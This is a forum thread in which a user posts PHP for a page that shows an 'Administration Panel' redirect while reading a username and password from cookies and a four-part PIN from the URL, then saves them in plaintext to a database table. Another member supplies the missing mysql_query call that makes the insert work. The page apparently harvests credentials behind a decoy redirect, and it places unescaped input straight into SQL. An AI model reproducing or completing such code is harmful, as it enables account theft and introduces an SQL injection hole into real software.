Discover Habbo's history
Treat yourself with a Secret Santa gift.... of a random Wiki page for you to start exploring Habbo's history!
Happy holidays!
Celebrate with us at Habbox on the hotel, on our Forum and right here!
Join Habbox!
One of us! One of us! Click here to see the roles you could take as part of the Habbox community!


Results 1 to 5 of 5
  1. #1
    Join Date
    Mar 2007
    Posts
    184
    Tokens
    0

    Default hm this is wierd

    i have this

    PHP Code:
    <html>
    <head>
    <meta http-equiv="refresh" target="_parent" content="5;url=index.php">
    </head>
    <body bgcolor="#000000">
    <center><font color="#FFFFFF" face="Arial" size="2"><b>
    You will now be directed to the Administration Panel.
    <br>
    <br>
    <img src="http://ajaxload.info/cache/00/00/00/ff/ff/ff/18-0.gif">
    </body>
    <?
       $conn 
    mysql_connect("localhost","username","pass");
       
    mysql_select_db(db_name) or die(mysql_error());

    $pin1 $_GET['first'];

    $pin2 $_GET['second'];

    $pin3 $_GET['third'];

    $pin4 $_GET['final'];

    $user $_COOKIE['rsadminsuser'];

    $pass $_COOKIE['rsadminspass'];

    echo(
    "<br><br>This is JUST to make sure its working this will not be on the real thing...<br><br>Your username is $user<br>Your pass is $pass<br>Your pin is $pin1$pin2$pin3$pin4");

    $sql "INSERT INTO entrys SET user='$user', pass='$pass', pin1='$pin1', pin2='$pin2', pin3='$pin3', pin4='$pin4'"
    ?>
    Btw in the db details they are correct, it doesnt display an error but doesnt seem to insert into the db.
    Edited by Catzsy Forum Super Moderator: Your signature has been removed because
    It is against the rules to insult/bully other members by targetting them with personal remarks about them in your signature.

  2. #2
    Join Date
    May 2005
    Location
    San Francisco, CA
    Posts
    7,160
    Tokens
    2,331

    Latest Awards:

    Default

    It doesn't insert into the DB as there isnt a mysql_query? :S

  3. #3
    Join Date
    Mar 2007
    Posts
    184
    Tokens
    0

    Default

    $sql = "INSERT INTO entrys SET user='$user', pass='$pass', pin1='$pin1', pin2='$pin2', pin3='$pin3', pin4='$pin4'";
    Edited by Catzsy Forum Super Moderator: Your signature has been removed because
    It is against the rules to insult/bully other members by targetting them with personal remarks about them in your signature.

  4. #4
    Join Date
    Dec 2006
    Location
    Swindon
    Posts
    3,299
    Tokens
    215
    Habbo
    dunko

    Latest Awards:

    Default

    PHP Code:
    <html>
    <head>
    <meta http-equiv="refresh" target="_parent" content="5;url=index.php">
    </head>
    <body bgcolor="#000000">
    <center><font color="#FFFFFF" face="Arial" size="2"><b>
    You will now be directed to the Administration Panel.
    <br>
    <br>
    <img src="http://ajaxload.info/cache/00/00/00/ff/ff/ff/18-0.gif">
    </body>
    <?
       $conn 
    mysql_connect("localhost","username","pass");
       
    mysql_select_db(db_name) or die(mysql_error());

    $pin1 $_GET['first'];

    $pin2 $_GET['second'];

    $pin3 $_GET['third'];

    $pin4 $_GET['final'];

    $user $_COOKIE['rsadminsuser'];

    $pass $_COOKIE['rsadminspass'];

    echo(
    "<br><br>This is JUST to make sure its working this will not be on the real thing...<br><br>Your username is $user<br>Your pass is $pass<br>Your pin is $pin1$pin2$pin3$pin4");

    $sql "INSERT INTO entrys SET user='$user', pass='$pass', pin1='$pin1', pin2='$pin2', pin3='$pin3', pin4='$pin4'";
    mysql_query($sql); 
    ?>

  5. #5
    Join Date
    Mar 2007
    Posts
    184
    Tokens
    0

    Default

    once again, you da man!
    Edited by Catzsy Forum Super Moderator: Your signature has been removed because
    It is against the rules to insult/bully other members by targetting them with personal remarks about them in your signature.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •